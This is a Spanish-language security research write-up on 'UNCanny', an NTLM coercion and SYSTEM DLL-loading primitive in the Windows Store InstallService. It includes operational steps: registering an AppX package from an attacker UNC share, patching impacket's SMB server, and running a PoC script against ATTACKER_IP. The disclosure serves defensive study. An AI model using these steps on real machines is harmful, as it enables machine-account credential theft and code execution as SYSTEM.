
Otra nueva primitiva de coerción con LPE - coerción NTLM de cuenta de máquina desde un usuario no administrador mediante experimentos de resolución de complementos de InstallService de Windows Store
La idea detrás de esta investigación era simple, ya que quería encontrar mi propia técnica de coerción. Empecé buscando nuevas superficies de ataque RPC, pero después de que Microsoft agregó monitoreo de actividad RPC (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), decidí tomar un camino diferente.
UNCanny es el resultado de ese agujero de conejo. No es algo que consideraría confiable para operaciones reales de red team debido a su limitación, pero aun así creo que las notas valen la pena publicarlas para cualquiera que explore la misma área.
brevemente, esta primitiva es:
un usuario normal entrega al servicio de instalación de Windows Store algunos metadatos de instalación -> el servicio, ejecutándose como sistema local, resuelve un "plugin" para ese trabajo -> el resolvedor termina haciendo
LoadLibraryWen una ruta que el usuario influyó -> esa ruta es una UNC -> NTLM saliente como la cuenta de la máquina.
el componente es el mundo del servicio de instalación de Windows Store: InstallService.dll alojado en InstallService.exe, ejecutándose como NT AUTHORITY\SYSTEM.
El agujero de conejo comenzó con InstallService.dll. Estaba mirando componentes de Windows que instalan paquetes, restauran estado después de reinicio, reanudan trabajos fallidos, leen contenido local/remoto y cargan plugins. cualquier cosa que tenga esas cuatro cosas juntas normalmente tiene una confusión de límites en algún lado:
La clase de runtime interesante era:
Windows.Internal.InstallService.Control.InstallServiceControl
IID: e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8 -> CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

Ese parámetro propertiesJson es donde vive la diversión. el comportamiento de instalación se describe mediante campos json como FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId.
Al principio pensé que el error iba a ser "poner una UNC en SourceUri y dejar que el servicio lo lea". eso habría sido hermoso, pero Windows no fue tan generoso. invertí la ruta de cumplimiento incorporada (CreateInstallServiceWorkFromBridge, InstallService.dll) y los plugins incorporados simplemente no hacen eso:
WU analiza el json y sale a través de WinHTTP / Delivery Optimization. nunca SMB.ChainedWork y XVC son la misma historia o ni siquiera están presentes en un cliente.SourceUri sin procesar o es rechazado rápidamente o se enruta a la validación del catálogo. CreateCatalogItemFromLocalData a pesar del nombre construye un elemento de catálogo a partir del json serializado en memoria, no va a abrir un archivo.Así que la idea ingenua es un callejón sin salida, esta característica es muy interesante y también estoy haciendo otras primitivas de investigación sobre ella y vale la pena decirlo en voz alta para que nadie pierda una semana en ello :)
el único lugar en todo el flujo de creación/restauración donde el servicio toca una ruta influenciada por el atacante es la activación del plugin. la función es PluginHelpers::ActivatePlugin. resuelve FulfillmentPluginId en este orden:
"WU" -> incorporado"ChainedWork" -> incorporadoStaticPluginMap (HKLM) -> CoCreateInstance un CLSID, o activar una clase WinRT"XVC" -> fábrica de xboxFindPackagesForUser(pfn) -> tomar el InstalledLocation.Path de ese paquete -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")la rama 5 es la única y PluginHelpers::IsPluginAvailable confirma la puerta: devuelve verdadero para cualquier FulfillmentPluginId que coincida con un paquete instalado, a través de la misma búsqueda FindPackagesForUser.

así que si un FulfillmentPluginId apunta a un paquete cuyo InstalledLocation es una UNC, entonces InstallService.exe ejecutándose como SYSTEM hace:
LoadLibraryW( \\atacante\recurso\InstallServicePlugin.dll )
LoadLibraryW tiene que conectarse a \\atacante\recurso y autenticarse antes de poder descubrir que la dll no está allí, y esa autenticación es la coerción; la dll nunca tiene que existir.

la única pregunta que queda es "cómo consigue un usuario normal un paquete cuyo InstalledLocation es una UNC". la respuesta es el registro de archivos sueltos, que es una operación por usuario, no elevada:
Add-AppxPackage -Register \\atacante\recurso\AppxManifest.xml
Windows registra el paquete "en su lugar", por lo que el InstalledLocation registrado es literalmente la UNC a la que apuntaste. luego activas el trabajo con el nombre de familia de ese paquete como id del plugin.
Add-AppxPackage -Register \\atacante\recurso\AppxManifest.xmlCreateInstallServiceWork( FulfillmentPluginId = <el PFN de ese paquete> )el llamador es un usuario normal, la autenticación de red es la cuenta de la máquina.

usuario con pocos privilegios lo activó, la cuenta de la máquina se autenticó. el propio cargador de Windows hizo el toque UNC, no el llamador.

dos cosas que ordenar antes de ejecutar:
impacket-smbserver reporta tipo de sistema de archivos XTFS. AppX se niega a registrarse en recursos compartidos que no sean NTFS (0x80073CFD). parchea el campo FileSystemName en impacket/smbserver.py a NTFS.
el recurso compartido necesita AppxManifest.xml, logo.png, dummy.exe. no se necesita InstallServicePlugin.dll. MaxVersionTested en el manifiesto debe ser ≤ build objetivo (winver en el objetivo para verificar).
Puedes ejecutar poc/setup.sh desde la raíz del repositorio en Kali. llena el recurso compartido, parchea impacket, prepara poc.ps1 en el objetivo a través de smbclient si TARGET_IP y TARGET_CREDS están configurados, e inicia el servidor ;-)
Luego, en tu estación de trabajo Windows como el usuario con pocos privilegios desde una sesión interactiva:
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce
Hay un segundo lado del mismo error que es más directo que la coerción. si InstallServicePlugin.dll realmente existe en la ruta del paquete UNC, el servicio aún alcanza la misma rama LoadLibraryW(\\atacante\recurso\InstallServicePlugin.dll), pero esta vez el cargador tiene éxito y la dll se asigna dentro del proceso del servicio de instalación de la tienda como NT AUTHORITY\SYSTEM.